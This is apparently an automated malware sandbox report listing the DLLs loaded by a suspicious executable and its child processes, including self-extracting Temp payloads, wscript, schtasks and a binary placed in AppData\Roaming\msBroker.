Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
